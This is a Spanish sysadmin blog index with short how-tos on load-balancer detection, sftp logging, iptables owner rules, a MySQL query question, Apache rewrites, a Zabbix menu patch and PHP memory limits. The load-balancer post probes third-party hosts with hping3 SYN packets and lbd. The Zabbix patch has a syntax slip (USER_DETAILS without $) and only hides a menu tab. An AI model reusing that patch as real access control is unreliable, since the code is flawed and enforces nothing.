Tras ello, hay que reiniciar Zimbra.
Leer más

Detección de balanceadores de carga

Muchas veces a la hora de consultar una página web nos puede interesa saber si tiene o no un balanceador de carga detrás de ella, es decir, si lo que parece una única página web en realidad tiene detrás un número N de servidores. A continuación vamos a ver las formas que hay de averiguar si detrás de un servicio hay uno o varios equipos respondiendo.
  • Consulta DNS
    Podemos averiguar si un servicio está balanceado mediante DNS si al realizar la pregunta al servidor, éste nos devuelve varias entradas.
    shell> dig www.google.com A
    ...
    ;; ANSWER SECTION:
    www.google.com.  511041 IN CNAME www.l.google.com.
    www.l.google.com. 205 IN A 173.194.66.106
    www.l.google.com. 205 IN A 173.194.66.147
    www.l.google.com. 205 IN A 173.194.66.99
    www.l.google.com. 205 IN A 173.194.66.103
    www.l.google.com. 205 IN A 173.194.66.104
    www.l.google.com. 205 IN A 173.194.66.105
    ...
    
  • Load Balancing Detector
    lbd es un pequeño script escrito en bash por Stefan Behte (http://ge.mine.nu) que permite evaluar con una sola llamada varias técnicas para descubrir si un dominio está en load balancing o no. Tras descargarlo y dar permisos de ejecución, únicamente hay que pasarle como parámetro el dominio a evaluar.
    shell> ./lbd google.com
    
    lbd - load balancing detector 0.2 -
          Checks if a given domain uses load-balancing.
          Written by Stefan Behte (http://ge.mine.nu)
          Proof-of-concept! Might give false positives.
    
    Checking for DNS-Loadbalancing: FOUND
    google.com has address 74.125.230.230
    google.com has address 74.125.230.231
    google.com has address 74.125.230.232
    google.com has address 74.125.230.233
    google.com has address 74.125.230.238
    google.com has address 74.125.230.224
    google.com has address 74.125.230.225
    google.com has address 74.125.230.226
    google.com has address 74.125.230.227
    google.com has address 74.125.230.228
    google.com has address 74.125.230.229
    
    Checking for HTTP-Loadbalancing [Server]: 
     gws
     NOT FOUND
    
    Checking for HTTP-Loadbalancing [Date]: 10:56:58, 10:56:58, 10:56:58, 10:56:58, 10:56:58, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:56:59, 10:57:00, 10:57:00, 10:57:00, 10:57:00, 10:57:00, 10:57:00, 10:57:00, 10:57:00, 10:57:01, 10:57:01, 10:57:01, 10:57:01, 10:57:01, 10:57:01, 10:57:01, 10:57:01, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:02, 10:57:03, 10:57:03, 10:57:03, 10:57:03, 10:57:03, 10:57:03, 10:57:03, 10:57:03, 10:57:04, 10:57:04, 10:57:04, NOT FOUND
    
    Checking for HTTP-Loadbalancing [Diff]: NOT FOUND
    
    google.com does Load-balancing. Found via Methods: DNS
    
  • hping3
    Con esta pequeña utilidad podemos crear paquetes ping "made a tu gusto" y que nos permite obtener valores al intentar establecer una conexión con un equipo. Si el equipo no está balanceado, generalmente los id's son incrementales o cero, pero al estar detrás de un balanceador vemos que no tienen un orden lógico.
    shell> hping3 -S -p 80 www.google.com
    HPING www.google.com (eth2 173.194.66.103): S set, 40 headers + 0...
    len=46 ip=173.194.66.103 ttl=46 id=26225 sport=80 flags=SA seq=0...
    len=46 ip=173.194.66.103 ttl=46 id=13025 sport=80 flags=SA seq=1...
    len=46 ip=173.194.66.103 ttl=46 id=55771 sport=80 flags=SA seq=2...
    len=46 ip=173.194.66.103 ttl=46 id=53021 sport=80 flags=SA seq=3...
    len=46 ip=173.194.66.103 ttl=46 id=46727 sport=80 flags=SA seq=4...
    len=46 ip=173.194.66.103 ttl=46 id=11782 sport=80 flags=SA seq=5...
    
    Mientras que a un dominio sin balanceo,
    shell> hping3 -S -p 80 www.domain.com
    HPING www.domain.es (eth2 213.60.X.Y): S set, 40 headers + 0...
    len=46 ip=213.60.X.Y ttl=63 DF id=0 sport=80 flags=SA seq=0...
    len=46 ip=213.60.X.Y ttl=63 DF id=0 sport=80 flags=SA seq=1...
    len=46 ip=213.60.X.Y ttl=63 DF id=0 sport=80 flags=SA seq=2...
    len=46 ip=213.60.X.Y ttl=63 DF id=0 sport=80 flags=SA seq=3...
    len=46 ip=213.60.X.Y ttl=63 DF id=0 sport=80 flags=SA seq=4...
    
Leer más

Qué hace tu usuario sftp?

Hace ya un par de meses escribí la forma de configurar el sistema sftp como una jaula chroot, para que todos los usuarios que accedan al sistema queden "dentro" de la carpeta para la que tienen permisos y así no anden de cotillas por el resto del sistema. En sistemas compartidos esto es perfecto, ya que cada usuario tiene su espacio, por ejemplo, su página web, y de ahí no se mueve.
Sin embargo siempre se suele dar el caso de que alguien protesta por algo que hizo y no lo recuerda. Un fichero no tiene el contenido que debería, una carpeta desapareció, hay una carpeta que no debería, etc. Para evitar esos problemas sftp tiene la opción de escribir todo lo que un usuario está a realizar y así evitar que tengamos ese problema. Si recordamos un poco, para habilitar el sistema sftp en el servidor ssh tenemos que crear el siguiente contenido,
...
Subsystem sftp internal-sftp
....
Pues bien, si leemos el man de sftp, podemos observar que existe una opción, -l log_level que hace justamente lo que nos interesa, por lo tanto sólo queda añadirla a la línea de sftp
...
Subsystem sftp internal-sftp -l INFO
....
Y relanzar el servicio ssh,
shell service sshd restart
Tras ello, el resultado que observamos es el siguiente,
Oct 12 16:52:23 s1 sftp-server[28846]: mkdir name "/tmp/aa" mode 0777
Oct 12 16:52:26 s1 sftp-server[28846]: opendir "/tmp/aa"
Oct 12 16:52:26 s1 sftp-server[28846]: closedir "/tmp/aa"
Oct 12 16:52:26 s1 sftp-server[28846]: rmdir name "/tmp/aa"
Un log perfectamente depurado de las acciones del usuario, para así estar protegidos ante eventuales contratiempos.
Leer más

IPTables, filtrar por usuario

Una de las cosas más sorprendentes de IPTables, el gran firewall de linux, es sin dudarlo su enorme versatilidad. Permite hacer prácticamente cualquier cosa que te imagines y muestra de ellos es que las reglas se pueden definir por usuario o grupo. Antes de seguir, vamos a aclarar que para la única tabla que puede hacer match con un uid de usuario o de grupo es la de salida (output) y siempre tendremos que emplear el uid o el gid y no los nombres. Es lógico pensar que a un usuario se le pueda bloquear la salida, pero no tan fácil de hacer ni entender la entrada. Lo que viene del puerto 80, puede ir para uno u otro usuario, pero no se sabe para cual. GNU/Linux es multiusuario.
Para crear una regla de IPTables que bloquee la salida de un usuario por ejemplo al puerto 22, podemos hacer algo tal que así,
shell> iptables -A OUTPUT \
-p tcp --dport 22 \
-m owner --uid-owner 1002 \
-j REJECT
Y para hacer lo mismo para un grupo,
shell> iptables -A OUTPUT \
-p tcp --dport 22 \
-m owner --gid-owner 810 \
-j REJECT
Si ahora probamos a establecer una conexión ssh con diferentes usuarios, veremos que al usuario con uid 1002 no le estará permitido.
root@shell> ssh 192.168.1.35
root@192.168.1.35's password:
Last login: Sun Oct 7 20:03:34 2012 from 192.168.1.33

root@shell> getent passwd
...
javier:x:1000:1000:Javier Terceiro:/home/javier:/bin/bash

javier@shell> ssh 192.168.1.35
ssh: connect to host 192.168.1.35 port 22: Connection refused
Leer más

MySQL, devolver tuplas inversas a la query

Una de las cosas principales por las que se escribe un blog es para dar información y conocimiento, pero también es importante la parte en la que se recibe, bien a través de comentarios o como es este el caso, con un caso concreto sobre MySQL a ver si a alguien le ha sucedido y tiene la respuesta. Lo intenté en google, pero realizar la pregunta ya de por sí es complicado, buscar la respuesta más.
Vamos a simplificar el caso a una tabla como la que sigue, con usuarios.
mysql> SELECT * FROM users;
+-----------+--------+--------------------+
| host      | user   | password           |
+-----------+--------+--------------------+
| localhost | javier | 0.1332591382165059 |
| localhost | javi   | passwd             |
+-----------+--------+--------------------+
2 rows in set (0.00 sec)
Lo que quiero obtener son exactamente las tuplas que no están en la query que realizo. Por ejemplo, realizo la siguiente query,
mysql> SELECT * FROM users WHERE user='javier';
+-----------+--------+--------------------+
| host      | user   | password           |
+-----------+--------+--------------------+
| localhost | javier | 0.1332591382165059 |
+-----------+--------+--------------------+
1 row in set (0.00 sec)
Donde obtengo una tupla que cumple la condición where. Si ahora mi interesa obtener las tupas que no cumplen dicha condición, lo puedo hacer tal que así,
mysql> SELECT * FROM users WHERE user NOT IN (
 -> SELECT user FROM users WHERE user='javier'
 -> );
+-----------+------+----------+
| host      | user | password |
+-----------+------+----------+
| localhost | javi | passwd   |
+-----------+------+----------+
1 row in set (0.00 sec)
Esto es correcto, pero la pregunta es, existe alguna forma de obtener este resultado sin tener que emplear el 'WHERE NOT IN'. En la query real que me atañe, realizar la consulta que devuelve valores tarda 3 segundos, pero realizar la otra, con el 'NOT IN', debido a la gran cantidad de valores, se alarga mucho en el tiempo.
¿Alguna idea o operador de MySQL que realice esta operación con poco coste? Desde ya, gracias.
Por cierto, la query que lanzo es similar a esta, y tarda alrededor de 3 segundos, devolviendo algo más de 2000 tuplas.
mysql> SELECT se.sysmapid
 -> FROM ug, r, hg, se
 -> WHERE ug.userid = 6 AND
 -> r.groupid = ug.usrgrpid AND
 -> hg.groupid = r.id AND
 -> se.elementid = hg.hostid AND
 -> se.elementtype = 0
 -> GROUP BY se.sysmapid;
Sin embargo, si quiero emplear el truco anterior y uso un NOT IN, su ejecución se alarga en el tiempo y queda la query como sigue,
mysql> SELECT sysmapid FROM se
 -> WHERE sysmapid NOT IN (
 ->   SELECT se.sysmapid
 ->   FROM ug, r, hg, se
 ->   WHERE ug.userid = 6 AND
 ->   r.groupid=ug.usrgrpid AND
 ->   r.permission NOT IN (2,3) AND
 ->   hg.groupid = r.id AND
 ->   se.elementid = hg.hostid AND
 ->   se.elementtype=0
 ->   GROUP BY se.sysmapid
 -> );
Leer más

Ocultando la extensión de nuestra programación web

Fijo que alguna vez os ha pasado que accedéis a una página web y no veis a qué archivo estáis accediendo, pero no la extensión del mismo. Por ejemplo http://dominio.com/index.php y http://dominio.com/index. Es decir, exactamente lo mismo pero sin saber que está escrita en php. Pues bien, conseguirlo en apache es muy sencillo y sólo se necesitan dos cosas. La primera tener cargado el módulo mod_rewrite y la segunda crear un fichero .htaccess en la raíz de la web a la que aplicarlo (o bien en la configuración general de apache) con el siguiente contenido.


RewriteEngine on

# Rescribe /dir/file.php -> /dir/file
RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if file.php
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
RewriteRule .* - [L,R=404]
Leer más

zabbix, no dashboard

zabbix usa un sistema de permisos un poco especial para mostrar los menús. Por defecto tiene creados tres tipos de grupos de usuarios diferentes. Un usuario únicamente puede pertenecer a uno de los grupos y en función de éste, tendrá acceso a unas pestañas u otras. Los datos a los que tengan acceso, están definidos por los grupos de usuarios + grupos de host's. Los 3 tipos de grupos de permisos que hay son:


  • USER_TYPE_ZABBIX_USER
    Definido con el ID 1 y de nombre "Zabbix User" establece los permisos para todas las pestañas a las que puede tener acceso un usuario normal, sin privilegios.
  • USER_TYPE_ZABBIX_ADMIN
    Definido con el ID 2 y con nombre "Zabbix Admin" contiene los permisos para aquellas pestañas a las que un usuario puede tener acceso, pero con algo más de privilegios. Por ejemplo a las pestañas de creación y configuración de host's, mapas, etc.
  • USER_TYPE_SUPER_ADMIN
    Definido con el ID 3 representa al "Zabbix Super Admin" y es el usuario que tiene acceso a todas las pestañas.
En el fichero include/menu.inc.php es donde se usan estas variables para definir si un usuario puede o no puede ver una pestaña. Por ejemplo,
array(
   'url'=>'maps.php',
   'label'=>S_MAPS,
   'sub_pages'=>array('map.php'),
   'user_type'=>USER_TYPE_ZABBIX_USER
),
Aquí de define que la pestaña "maps" es visible para los usuarios con permisos mayor o igual a 'USER_TYPE_ZABBIX_USER'. Prácticamente todas las pestañas o grupos de pestañas tienen estos permisos y siempre se define el de menor permiso que lo puede ver. Saber si un usuario puede o no ver una pestaña por lo tanto es muy simple de calcular.
Vamos a definir ahora el caso que nos atañe, tenemos un grupo de usuarios al que no nos interesa que pueda ver la pestaña dashboard (o cualquier otra). Por defecto esto zabbix no lo permite hacer, por lo que vamos a crear un pequeño parche para ofrecer esta funcionalidad extra.
Primeramente creamos un grupo de usuarios llamado "No dashboard". Todos los usuarios que pertenezcan a este grupo no verán dicha pestaña. Una vez lo tengamos creado, simplemente agregamos ahí a los usuarios que nos interesen. Luego, editamos el fichero include/menu.inc.php y lo dejamos tal que así,
global $ZBX_MENU;
global $USER_DETAILS;

$users = CUser::get(array('filter' => array(
  'userid' => USER_DETAILS['userid']),
  'output' => API_OUTPUT_EXTEND,
  'select_usrgrps' => API_OUTPUT_EXTEND));

$usrgrps = $users[0]['usrgrps'];
$show = 1;
foreach($usrgrps as $ugnum => $usrgrp){
   if(strtolower($usrgrp['name']) == strtolower("No dashboard")) {
      $show = 0;
   }
}

if($show) {
   $dash = array(
      'url'=>'dashboard.php',
      'label'=>S_DASHBOARD,
      'sub_pages'=>array('dashconf.php')
   );
} else {
   $dash = array(
      'url'=>'dashboard.php',
      'label'=>S_DASHBOARD,
      'sub_pages'=>array('dashconf.php'),
      'user_type'=>USER_TYPE_SUPER_ADMIN
   );
}

$ZBX_MENU = array(
   'view'=>array(
   'label'           => S_MONITORING,
   'user_type'       => USER_TYPE_ZABBIX_USER,
   'node_perm'       => PERM_READ_LIST,
   'default_page_id' => 0,
   'pages'=>array(
      $dash,
      array(
         ...
Con este pequeño cambio se consigue una funcionalidad extra muy interesante. Dejo aquí colgado el parche, por si a alguien le interesa.
Leer más

PHP Fatal error: Allowed memory size of

Aunque no suele ser habitual tener este tipo de problemas, hay veces que php por el, o bien el tipo de consultas a base de datos que realiza, o la cantidad de datos que está a manejar, necesita más memoria ram de la que tiene asignada. Es entonces cuando da la siguiente salida,

PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 128 bytes) in /var/www/include/db.php on line 607
Pero, ¿qué quiere decir exactamente? Pues ni más ni menos que la página a la que llamas necesita más memoria de la que la configuración le asigna para manejar los datos. La solución es fácil, como veremos a continuación, pero antes de asignarle más memoria, hay que pensar si tiene lógica. La página realmente está manejando tantos datos como para requerir más memoria. Esto hay que tenerlo en cuenta si estamos hablando de cosas en los que ya hay 256Mb o 512Mb asignados. En caso de que consideremos que efectivamente necesita más memoria, podemos optar por dos soluciones para dársela.
  • Fichero de configuración general (php.ini)
    Esta es la opción más común y no es otra que aumentar el límite de memoria para el proceso php en el fichero php.ini. Con esta opción cualquier otro fichero php que requiera más memoria también la podrá consumir, por lo que hay que tener cuidado con la cantidad de memoria que se le asigne.
    ...
    memory_limit = 512M
    ...
    
  • Fichero php concreto
    Esta es la otra opción y consiste en indicarle a php que para el fichero sobre el que se definan estos valores, deberá sobreescribir los valores por defecto del php.ini. Es una buena opción si únicamente nos pasa esto con un fichero concreto que por el motivo que sea necesita más memoria.
    La línea a incluir es:
    ini_set("memory_limit","512M");
    ...
    
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios